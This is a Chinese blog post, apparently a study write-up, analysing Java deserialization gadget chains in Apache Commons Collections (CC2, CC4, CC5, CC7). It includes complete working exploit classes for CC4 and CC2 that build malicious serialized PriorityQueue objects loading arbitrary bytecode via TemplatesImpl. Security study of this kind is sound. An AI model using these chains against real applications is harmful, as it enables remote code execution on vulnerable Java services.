java反序列化Commons-Collection篇04-cc2+cc4+cc5+cc7分析

前情提要:

文章学习来自b站白日梦组长视频讲解,如有错误,请各位大佬提出orz!!!

cc4

环境配置:

cc4在更新之后一个大版本里面存在的漏洞,如下图
commons-collections3的版本和4的版本在这条链上的区别就是TransformingComparator在4的版本里面继承了serialize接口

首先是在TransformingComparator里面的compare的transformer方法,找到了transformer,就可以和之前的链子连在一起

然后肯定最好就是要找哪个readobject里面可以调用compare
这里的话cc4的作者是找到了priorityQueue类
priorityQueue.readobject->heapify->siftdown->siftDownUsingComparator->compare

所以到这里其实就很简单了,就是修改了一下入口类,可以和任何一条链拼接起来
这里拼接的是官方的cc3链

问题:

如果想要进到readobject.heapify的siftdown方法里面,必须要求size>>>1必须要大于1

而这个size是在readobject里面赋值的

意思就是这个队列里面必须要有两个以上内容,才能保障2>>>1是等于1,进而可以走到siftdown方法里面

直接两个add,直接就可以进去
但是这里有问题的是第二个add的时候其实在序列化的时候就会执行代码
因为add.offer.siftUp.siftUpUsingComparator.compare
这样也会执行compare,就会直接把整条链子走完

所以我们需要在序列化的时候把链子断掉,这里是把transformingComparator里面传的参数修改,然后在add之后在反射修改回来

最终exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;


public class cc4 {
    public static void main(String[] args)throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);


        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});

        Transformer[] transformers=new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                instantiateTransformer

        };
        ChainedTransformer chainedTransformer=new ChainedTransformer<>(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c =transformingComparator.getClass();
        Field transformerField=c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,chainedTransformer);

//        serialize(priorityQueue);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

tips:

反射改size,就不用put完之后反射修改chainedtransformer
大家可以自己尝试修改代码试一下

cc2

环境配置:

cc2和cc4几乎一摸一样

唯一的区别就是cc2没再使用transformer数组以及InstantiateTransformer,也就是没再使用chainedtransformer
TransformingComparator.compare.transformer->invokertransformer

对比cc4:

最终exp:

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class cc2 {
    public static void main(String[] args)throws Exception{
        TemplatesImpl templates = new TemplatesImpl();
        Class tc=templates.getClass();

        Field nameField = tc.getDeclaredField("_name");
        nameField.setAccessible(true);
        nameField.set(templates,"aaa");

        Field bytecodesField=tc.getDeclaredField("_bytecodes");
        bytecodesField.setAccessible(true);

        byte[] code= Files.readAllBytes(Paths.get("D://Security/JavaStudy/java_src/serialize/tmp/Test.class"));
        byte[][] codes={code};
        bytecodesField.set(templates,codes);


        //就这一句和cc4不一样,其它的一摸一样,只是不调用数组了,当碰到过滤transformer数组的时候可以用这个
        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});


        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(templates);
        priorityQueue.add(templates);

        Class c =transformingComparator.getClass();
        Field transformerField=c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator,invokerTransformer);

//        serialize(priorityQueue);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj)throws IOException {
        ObjectOutputStream oos=new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename)throws IOException,ClassNotFoundException{
        ObjectInputStream ois=new ObjectInputStream(new FileInputStream(Filename));
        Object obj=ois.readObject();
        return obj;
    }
}

cc5

环境配置:

流程分析:

看官方链

发现和cc1差不多,就是入口类变了
cc1的官方链子是AnnotationInvocationHandler.readobject,而cc5变成了BadAttributeValueException.readobject

其实和cc6的TiedMapEntry的原理是一样的

cc7

环境配置:

pom.xml

流程分析

还是入口点不一样,用到的入口点是Hashtable.readobject.reconstitutionPut.equals->AbstractMapDecorator.equals(AbstractMap.equals)

虽然跟进去调用的是AbstractMapDecorator的equals,但实际上使用的是AbstractMap的equals

然后就和lazymap.get后边的链子连在一起了

posted @ 2025-03-02 22:57  Zephyr07  阅读(102)  评论(0)    收藏  举报